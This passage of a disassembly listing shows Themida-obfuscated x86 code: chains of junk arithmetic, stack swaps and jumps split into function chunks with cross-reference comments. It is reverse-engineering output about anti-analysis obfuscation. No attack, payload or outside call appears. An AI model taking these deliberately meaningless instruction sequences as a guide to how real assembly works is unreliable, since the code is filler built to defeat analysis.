ecx, ebp jmp loc_568A7D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DB65: ; CODE XREF: Themida_:00560120j add esp, 4 push ebx jmp loc_55CBA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C024 loc_56DB6E: ; CODE XREF: sub_56C024-9972j sub ebx, 652C4F4Fh add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp+4+var_4] mov esp, [esp+4+var_4] push edi sub esp, 4 mov [esp-4+arg_0], ebp push 6E785ED9h pop ebp push edi jmp sub_56C508 ; END OF FUNCTION CHUNK FOR sub_56C024 ; --------------------------------------------------------------------------- loc_56DB93: ; CODE XREF: Themida_:0055E5C3j mov ecx, esp add ecx, 4 push edi mov edi, 4 jmp loc_570270 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DBA6: ; CODE XREF: sub_56755A-853Aj add ecx, ebp pop ebp xor ecx, [esp+20h+var_20] xor [esp+20h+var_20], ecx jmp loc_5611DA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DBB4: ; CODE XREF: Themida_:00560D7Fj not dword ptr [esp] pop ebp neg ebp jmp loc_56CFC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56DBBF: ; CODE XREF: sub_56F7FC-EFD7j xor eax, edx pop edx push eax push 3274h mov [esp+8+var_8], edx push edi mov edi, 6697017Ch mov edx, 4F3B0E5Eh xor edx, edi pop edi xor [esp+8+var_4], edx jmp loc_56589C ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56DBE2: ; CODE XREF: Themida_:005632A7j mov ebp, 60D72976h jmp loc_567FD5 ; --------------------------------------------------------------------------- loc_56DBEC: ; CODE XREF: Themida_:00560783j push ebx mov ecx, [esp] add esp, 4 pop ebx sub ecx, 3D01114Bh sub ecx, 11E6862h add ecx, edi jmp loc_56A61D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DC07: ; CODE XREF: sub_56755A+6E6j pop esi push [esp+30h+var_30] pop edx add esp, 4 push edx mov edx, 4 add ecx, edx jmp loc_5617D5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DC1C: ; CODE XREF: Themida_:005671A0j sub ebp, esi pop esi sub ebp, 7BB66430h push dword ptr [esp] pop eax add esp, 4 push 52BEh jmp loc_55FA97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DC36: ; CODE XREF: sub_56755A-1C8Bj inc eax xor eax, 70102DBCh add ecx, eax jmp loc_5701A2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DC43: ; CODE XREF: Themida_:00568F62j pop esp mov [esp], esi mov esi, 7595323Ah jmp loc_56D25B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_56DC51: ; CODE XREF: sub_56D5AE-47DEj mov esp, [esp-4+arg_0] push eax mov eax, 24h add eax, 1B6C57FDh add eax, 39333BE3h sub eax, 541C47B5h add eax, edi jmp loc_55BF2E ; END OF FUNCTION CHUNK FOR sub_56D5AE ; --------------------------------------------------------------------------- loc_56DC70: ; CODE XREF: Themida_:0055FC4Ej push dword ptr [esp] pop eax jmp loc_568329 ; --------------------------------------------------------------------------- loc_56DC79: ; CODE XREF: Themida_:00560BFEj sub esp, 4 mov [esp], esp push edx jmp loc_55BBBB ; --------------------------------------------------------------------------- loc_56DC85: ; CODE XREF: Themida_:0056CA1Dj pop eax push ebx mov ebx, 4 add eax, 1D995F5Ah add eax, ebx sub eax, 1D995F5Ah pop ebx push ebx mov ebx, 263A4534h jmp loc_56A218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DCA4: ; CODE XREF: sub_56755A-E21j pop [esp+28h+var_28] jmp loc_570284 ; --------------------------------------------------------------------------- loc_56DCAC: ; CODE XREF: sub_56755A-5634j pop edi add edi, ecx pop ecx xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp push edx mov edx, 6EB12316h xor ecx, edx mov edx, [esp+0] jmp loc_567EBE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DCCA: ; CODE XREF: Themida_:00561D47j sub esp, 4 mov [esp], ebx push eax mov eax, 4 mov ebx, eax pop eax add [esp+4], ebx pop ebx jmp loc_569B3B ; --------------------------------------------------------------------------- loc_56DCE3: ; CODE XREF: Themida_:00560DBDj xor ebx, 4E6B3BDBh xor ebx, 62316B82h sub edx, 37846A7Fh sub edx, ebx push eax mov eax, 76528B3h jmp loc_56EC73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DD02: ; CODE XREF: sub_56755A+834Aj pop esp mov [esp-4+arg_0], edi jmp loc_56744A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DD0B: ; CODE XREF: Themida_:00561209j push ebx mov ebx, 73F26C35h jmp loc_564FBF ; --------------------------------------------------------------------------- loc_56DD16: ; CODE XREF: Themida_:0056DF9Aj mov ax, [esp] sub esp, 4 mov [esp], ebx push esp push dword ptr [esp] pop ebx jmp loc_5615BE ; --------------------------------------------------------------------------- loc_56DD2A: ; CODE XREF: Themida_:0056AFCFj add ebp, 5F3BE59Ch jmp loc_5646C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DD35: ; CODE XREF: sub_56755A+2399j mov edi, ebx mov ebx, [esp+4+var_4] push edx mov edx, esp jmp loc_560E1B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DD42: ; CODE XREF: Themida_:00561B47j xor edx, [esp] mov esp, [esp] jmp loc_56BF59 ; --------------------------------------------------------------------------- loc_56DD4D: ; CODE XREF: Themida_:0055D33Cj pop dword ptr [esp] mov esp, [esp] mov [esp], bx push ecx jmp loc_55D111 ; --------------------------------------------------------------------------- loc_56DD5D: ; CODE XREF: Themida_:00568FA3j mov si, 0CE2h jmp loc_560DDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_56DD66: ; CODE XREF: sub_55E99C-2F5Fj add ecx, 4 jmp loc_56DF9F ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- loc_56DD71: ; CODE XREF: Themida_:00566515j push esi mov esi, esp push 6E7Ah jmp loc_561112 ; --------------------------------------------------------------------------- loc_56DD7E: ; CODE XREF: Themida_:00561FAFj xor ebp, [esp] xor [esp], ebp not ebp xchg ebp, [esp] mov eax, [esp] jmp loc_56CC55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DD91: ; CODE XREF: sub_56755A-5338j push 5087h jmp loc_567F42 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56DD9B: ; CODE XREF: sub_56CB7D-7CECj push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_570637 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_56DDAE: ; CODE XREF: Themida_:0056C15Aj mov edi, 4 sub ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], eax mov eax, esp push 485Bh mov [esp], edx jmp loc_565485 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DDD2: ; CODE XREF: sub_56755A+238Bj sub dh, 0EAh mov ch, dh pop edx jmp loc_56EC13 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DDDD: ; CODE XREF: Themida_:00565D49j mov ebx, [esp] add esp, 4 jmp loc_56BB77 ; --------------------------------------------------------------------------- loc_56DDE8: ; CODE XREF: Themida_:0055BEA1j push 49F0h jmp loc_560B58 ; --------------------------------------------------------------------------- loc_56DDF2: ; CODE XREF: Themida_:0056E857j mov [esp], ecx jmp loc_56FC2F ; --------------------------------------------------------------------------- loc_56DDFA: ; CODE XREF: Themida_:00564ECCj mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_56A87A ; --------------------------------------------------------------------------- loc_56DE0D: ; CODE XREF: Themida_:0056A90Dj xor eax, ebx pop ebx sub eax, 3B424D24h push ebx mov ebx, 0A61751C6h jmp loc_56B08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DE20: ; CODE XREF: sub_56755A-3082j add esp, 4 push eax mov eax, esi mov edx, eax pop eax jmp loc_56E994 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DE2E: ; CODE XREF: Themida_:00567319j mov [esp], esi jmp loc_5632A0 ; --------------------------------------------------------------------------- loc_56DE36: ; CODE XREF: Themida_:0055EFB7j not dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebp mov ebp, 2B5A5005h jmp loc_561FD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DE4A: ; CODE XREF: sub_56755A+2C1j pop esp push edi push ebx push 2E1A49B2h push [esp-8+arg_4] jmp loc_55EA86 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DE5A: ; CODE XREF: Themida_:0056D8FFj mov [esp], edi push eax push 77EB3AFEh jmp loc_56521E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DE68: ; CODE XREF: sub_56755A-23Aj mov bl, dl jmp loc_562532 ; --------------------------------------------------------------------------- loc_56DE6F: ; CODE XREF: sub_56755A+2296j mov [esp-18h+arg_14], ebx mov ebx, 43534AC0h add edx, ebx pop ebx sub edx, 1F9C607Bh add edx, eax add edx, 1F9C607Bh push 4C38h jmp loc_55E869 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643B1 loc_56DE92: ; CODE XREF: sub_5643B1-3563j pop esi xor [esp+0Ch+var_8], ebp pop ebp jmp loc_55E4EF ; END OF FUNCTION CHUNK FOR sub_5643B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_56DE9D: ; CODE XREF: sub_56AE72+4F9Bj pop eax push ebx mov ebx, 5B511930h jmp loc_55BE21 ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- loc_56DEA9: ; CODE XREF: Themida_:0056E449j mov al, 14h xor cl, al jmp loc_55D6BD ; --------------------------------------------------------------------------- loc_56DEB2: ; CODE XREF: Themida_:00568688j mov [esp], edx mov edx, 42E3190Ch push ebp mov ebp, 17D44919h and ebp, 3E8F718Fh push ecx mov ecx, 5C60728Ah jmp loc_55F04E ; --------------------------------------------------------------------------- loc_56DED1: ; CODE XREF: Themida_:0056FE87j push dword ptr [esp] jmp loc_55E844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56DED9: ; CODE XREF: sub_56755A+508j pop ecx not ecx sub ecx, 4E9716C6h xor ecx, 2A7B9E4Eh mov esi, ecx mov ecx, [esp+4+var_4] add esp, 4 jmp loc_5610B7 ; --------------------------------------------------------------------------- loc_56DEF5: ; CODE XREF: sub_56755A+3F46j not esi jmp loc_5654A4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56DEFC: ; CODE XREF: Themida_:0055EA39j push ecx mov ecx, 4DEB7E45h jmp loc_564E10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_56DF07: ; CODE XREF: sub_5615A9+EDD7j dec cl add cl, 2Ah or dh, cl pop ecx shr dh, 4 sub dh, 0FAh dec dh or dh, 1Dh add dh, 0Ah add al, dh pop edx jmp loc_56EAEA ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_56DF25: ; CODE XREF: Themida_:0055EDB4j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55D3E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EBD2 loc_56DF33: ; CODE XREF: sub_56EBD2-39B2j add edi, 4 jmp loc_56D3D6 ; END OF FUNCTION CHUNK FOR sub_56EBD2 ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] jmp loc_56F31E ; --------------------------------------------------------------------------- loc_56DF46: ; CODE XREF: Themida_:0055F658j sub ebx, 51396111h xor ebx, 1A01ACB7h add eax, 395C7C08h add eax, ebx jmp loc_567B2D ; --------------------------------------------------------------------------- loc_56DF5E: ; CODE XREF: Themida_:00564E3Dj sub esi, 72D12216h xor esi, 45D4552Ch sub esi, 0B11B8DCBh jmp loc_568785 ; --------------------------------------------------------------------------- loc_56DF75: ; CODE XREF: Themida_:00566F37j pop edi jmp loc_55C596 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56DF7B: ; CODE XREF: sub_566504-2B7Aj add edx, ecx pop ecx sub edx, edi sub edx, 59677425h pop edi push eax jmp loc_55E6FA ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E54A loc_56DF8D: ; CODE XREF: sub_55E54A-1548j mov ecx, 23AC29A6h jmp loc_563344 ; END OF FUNCTION CHUNK FOR sub_55E54A ; --------------------------------------------------------------------------- loc_56DF97: ; CODE XREF: Themida_:005629AEj mov esp, [esp] jmp loc_56DD16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_56DF9F: ; CODE XREF: sub_55E99C+F3D0j add ecx, 4 xchg ecx, [esp+4+var_4] mov esp, [esp+4+var_4] sub dword ptr [esp+4], 17E32005h add dword ptr [esp+4], 524E492Dh add [esp+4], ebx jmp loc_55EFFA ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- loc_56DFC1: ; CODE XREF: Themida_:005695CCj or ebp, 5CFF6D42h shr ebp, 3 sub ebp, 0FBFEFE8h push ebp xor dword ptr [esp], 3C2D1F93h pop edx push eax jmp loc_561A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA40 loc_56DFDF: ; CODE XREF: sub_56AA40-CCBEj add esp, 4 push ebx jmp loc_56C714 ; END OF FUNCTION CHUNK FOR sub_56AA40 ; --------------------------------------------------------------------------- loc_56DFEB: ; CODE XREF: Themida_:00563590j push dword ptr [esp+4] jmp loc_55B900 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5637DB loc_56DFF4: ; CODE XREF: sub_5637DB+Aj sub ebp, 1C2F47BCh mov edi, ebp pop ebp sub edi, 51F12AA1h shr edi, 3 jmp loc_5627D2 ; END OF FUNCTION CHUNK FOR sub_5637DB ; --------------------------------------------------------------------------- loc_56E00B: ; CODE XREF: Themida_:005693CCj shl edx, 8 xor edx, 60361EA5h push ebx mov ebx, 0BBB7A8A7h xor edx, ebx pop ebx add ebp, edx jmp loc_565025 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E024: ; CODE XREF: sub_56755A+25F4j not edi xor edi, 5B7356EBh add ebx, edi mov edi, [esp+8+var_8] sub esp, 4 jmp loc_56E813 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560DA7 loc_56E039: ; CODE XREF: sub_560DA7-CCAj pop edi push eax jmp loc_566B30 ; END OF FUNCTION CHUNK FOR sub_560DA7 ; --------------------------------------------------------------------------- loc_56E040: ; CODE XREF: Themida_:0055B6A2j mov [esp], ecx push edi mov edi, 4F2FB3h jmp loc_564704 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E04E: ; CODE XREF: sub_56755A+6CCEj mov [esp+0Ch+var_C], ebx jmp loc_56A1C0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E056: ; CODE XREF: Themida_:0055E224j push ecx push 299935BCh pop ecx add esi, ecx mov ecx, [esp] jmp loc_5644A8 ; --------------------------------------------------------------------------- loc_56E067: ; CODE XREF: Themida_:0055D4D4j pop eax and ecx, edx pop edx jmp loc_56BCA6 ; --------------------------------------------------------------------------- loc_56E070: ; CODE XREF: Themida_:00569172j pop ebp jmp loc_560641 ; --------------------------------------------------------------------------- loc_56E076: ; CODE XREF: Themida_:0055B8ACj inc ebx sub ebx, 0CBC1D08Ah mov ecx, 0CBA1FF3h jmp loc_55D465 ; --------------------------------------------------------------------------- loc_56E087: ; CODE XREF: Themida_:0055CD48j push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp xor eax, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_568304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E0AD: ; CODE XREF: sub_56755A+8AEFj pop ecx add esi, edi pop edi add esi, 3C5045F4h sub esi, 783065F4h sub esi, ecx add esi, 783065F4h sub esi, 3C5045F4h push edx mov edx, 57A24AE3h sub edx, 6FC170Eh sub esi, edx mov edx, [esp+8+var_8] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp pop ecx jmp loc_5682CD ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E0F2: ; CODE XREF: Themida_:0055CFE8j push ecx jmp loc_56D0DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E0F8: ; CODE XREF: sub_56755A+5C7j xor ebp, 74C08524h mov ecx, ebp jmp loc_564D9C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561BE4 loc_56E105: ; CODE XREF: sub_561BE4+E8A3j mov ebx, [esp+4+var_4] add esp, 4 push esi push esp mov esi, [esp+8+var_8] add esp, 4 jmp sub_56E75E ; END OF FUNCTION CHUNK FOR sub_561BE4 ; --------------------------------------------------------------------------- loc_56E118: ; CODE XREF: Themida_:0056947Cj sub edi, ecx jmp loc_56E15A ; --------------------------------------------------------------------------- loc_56E11F: ; CODE XREF: Themida_:00564662j not ecx shl ecx, 2 jmp loc_562BE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E129: ; CODE XREF: sub_56755A-C51j shr bl, 6 push ecx jmp loc_56F539 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E132: ; CODE XREF: Themida_:0056C1E6j push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_561242 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E155: ; CODE XREF: sub_56755A-4BF4j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E15A: ; CODE XREF: Themida_:0056E11Aj mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] jmp loc_569A67 ; --------------------------------------------------------------------------- loc_56E177: ; CODE XREF: Themida_:0056920Bj sub edx, 338E24C8h pop ebx jmp loc_565F21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_56E183: ; CODE XREF: sub_560B67+1689j mov ecx, esp add ecx, 4 jmp loc_560962 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E190: ; CODE XREF: sub_56755A-1AD3j mov [esp-0Ch+arg_8], ecx mov ecx, 4 add edx, ecx pop ecx sub edx, 4 push edx push [esp-0Ch+arg_C] jmp loc_56D90C ; --------------------------------------------------------------------------- loc_56E1A8: ; CODE XREF: sub_56755A-4AC7j mov ebp, 318F2D15h add ebx, ebp push [esp-4+arg_0] pop ebp jmp loc_568EBA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E1B8: ; CODE XREF: Themida_:0055BD03j add cl, ah pop eax jmp loc_5672FE ; =============== S U B R O U T I N E ======================================= sub_56E1C0 proc near ; CODE XREF: sub_56755A+1B69j var_3 = byte ptr -3 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055DF91 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00562D0C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005695F3 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00569C4D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056CC11 SIZE 00000010 BYTES push ebx not byte ptr [esp-4+arg_0+1] jmp loc_55DF91 sub_56E1C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56E1CA: ; CODE XREF: Themida_:0056629Ej push 704Ah mov [esp], edx push esp jmp loc_56BC88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E1D8: ; CODE XREF: sub_56755A+5E4Dj pop edx jmp loc_563788 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E1DE: ; CODE XREF: Themida_:0055ECA0j add eax, 4 push 5C03h mov [esp], ecx jmp loc_56F61F ; =============== S U B R O U T I N E ======================================= sub_56E1F0 proc near ; CODE XREF: sub_56755A-3D40j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00570601 SIZE 00000012 BYTES push ebp push dword ptr [esp+4] jmp loc_570601 sub_56E1F0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_56E1FA: ; CODE XREF: sub_563973-44DDj mov [esp+0], ecx jmp loc_565CFA ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E202: ; CODE XREF: sub_56755A-934Aj add esp, 4 jmp sub_56F13C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E20D: ; CODE XREF: Themida_:0056D49Bj push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_55F867 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E227: ; CODE XREF: sub_56755A-759Ej pop esp jmp loc_56E04E ; --------------------------------------------------------------------------- loc_56E22D: ; CODE XREF: sub_56755A+818j pop esi mov eax, [esp+8+var_8] add esp, 4 jmp loc_55E489 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E239: ; CODE XREF: Themida_:005631B4j sub ebx, 0C938FBh sub ebx, edx add ebx, 0C938FBh add ebx, 4C786AC7h jmp loc_5619D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E252: ; CODE XREF: sub_56755A+283Bj mov edx, eax pop eax jmp loc_56C820 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E25A: ; CODE XREF: Themida_:0056CFA4j push dword ptr [esp] pop ebp add esp, 4 push 27F6h jmp loc_55C5C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56E26B: ; CODE XREF: sub_56F653-4C27j add ch, al pop eax add bl, 92h add bl, ch sub bl, 92h pop ecx jmp loc_5601FA ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E27C: ; CODE XREF: sub_56755A-3F24j push edi push ebp push small 6CC6h mov bp, word ptr [esp+0Eh+var_10+2] add esp, 2 add bp, 77FDh jmp loc_56A94B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E293: ; CODE XREF: Themida_:00562EC7j push 14F6h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_5624C1 ; --------------------------------------------------------------------------- loc_56E2AA: ; CODE XREF: Themida_:005686B5j push ebp jmp loc_566F99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E2B0: ; CODE XREF: sub_56755A+90j xchg esi, [esp+8+var_8] jmp loc_566AE7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E2B8: ; CODE XREF: Themida_:0056C041j push edx mov edx, 4814296Fh dec edx xor edx, 79714275h neg edx sub edx, 0C73AE798h xor ebx, edx jmp loc_55D9A0 ; --------------------------------------------------------------------------- loc_56E2D4: ; CODE XREF: Themida_:0056AAC9j pop edi mov ecx, [esp] jmp loc_55E9A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E2DD: ; CODE XREF: sub_56755A-74A0j sub edx, 4 xchg edx, [esp+0] jmp loc_55C897 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56E2E8: ; CODE XREF: sub_56F653-6C68j pop edx jmp loc_56B382 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56E2EE: ; CODE XREF: sub_566504-885Cj mov esp, [esp+0] mov [esp+0], esi jmp loc_56608A ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_56E2F9: ; CODE XREF: Themida_:0056462Dj mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 jmp loc_56A0A4 ; --------------------------------------------------------------------------- loc_56E30F: ; CODE XREF: Themida_:0055B8FBj mov ecx, 52B423E1h neg ecx add ecx, 0F3820D41h jmp loc_560780 ; --------------------------------------------------------------------------- loc_56E321: ; CODE XREF: Themida_:0056239Bj add ebx, 3FC87302h pop eax add ebx, eax add ebx, 427F22A3h pop eax push eax mov eax, 20CD16F1h shl eax, 7 sub eax, 30CA4AE3h sub eax, 2BCA2846h shr eax, 8 add eax, 34A2308Ah sub eax, 34AC278Dh add ebx, eax jmp loc_569F6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E358: ; CODE XREF: sub_56755A-9F22j pop edx sub esp, 4 mov [esp+18h+var_18], ecx mov ecx, 614B4E19h xor ecx, 50A651A1h xor ecx, 65964E6Bh push edx mov edx, 547B51D7h xor ecx, edx pop edx add edx, ecx jmp loc_56353B ; --------------------------------------------------------------------------- loc_56E383: ; CODE XREF: sub_56755A-2D1Fj and eax, 66B506F0h add eax, 0F15E5F0Bh jmp loc_55F96B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E392: ; CODE XREF: Themida_:00565DF5j push esp pop dword ptr [esp] push 610Eh mov [esp], edx mov edx, 4 jmp loc_55C529 ; --------------------------------------------------------------------------- loc_56E3A8: ; CODE XREF: Themida_:005658F3j pop edi push eax mov eax, 688478CFh shl eax, 7 inc eax shl eax, 3 jmp loc_56B008 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E3BB: ; CODE XREF: sub_56755A+AFBj pop esi pop [esp-1Ch+arg_18] mov esp, [esp-20h+arg_1C] push 49D5h jmp loc_56F4F4 ; --------------------------------------------------------------------------- loc_56E3CC: ; CODE XREF: sub_56755A+4148j inc cl push ebx mov bl, 1Fh sub cl, bl mov ebx, [esp+0] add esp, 4 jmp loc_5695D1 ; --------------------------------------------------------------------------- loc_56E3DE: ; CODE XREF: sub_56755A-7A43j pop ebp sub esp, 4 mov [esp-14h+arg_10], ecx push [esp-14h+arg_14] mov ecx, [esp-10h+arg_C] add esp, 4 pop [esp-14h+arg_10] pop esp jmp loc_569A02 ; --------------------------------------------------------------------------- loc_56E3FB: ; CODE XREF: sub_56755A-5F27j add esi, 0DFDE3E2Eh and edx, esi jmp loc_561C6B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56E408: ; CODE XREF: sub_56F7FC-B529j add esp, 4 push esi mov esi, 4D076916h and esi, 3C4313DBh push 1716h mov [esp-0Ch+arg_8], ebp push ecx mov ecx, 1BE66BCAh mov ebp, ecx pop ecx not ebp inc ebp jmp loc_56420C ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56E433: ; CODE XREF: Themida_:00569242j or edi, 65EA4345h jmp loc_56CE7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56E43E: ; CODE XREF: sub_56971C+10F2j push 6E7Eh jmp loc_55C1C6 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_56E448: ; CODE XREF: Themida_:00562DC4j push eax jmp loc_56DEA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E44E: ; CODE XREF: sub_56755A-2449j push 230Dh jmp loc_567B05 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56E458: ; CODE XREF: sub_56CB7D-5E5Aj add ecx, 4 push ebp push 1874h mov [esp+0Ch+var_C], ebx mov ebx, 509941D1h neg ebx shr ebx, 4 not ebx push eax mov eax, 0F5099419h xor ebx, eax pop eax mov ebp, ebx jmp loc_55D7E0 ; END OF FUNCTION 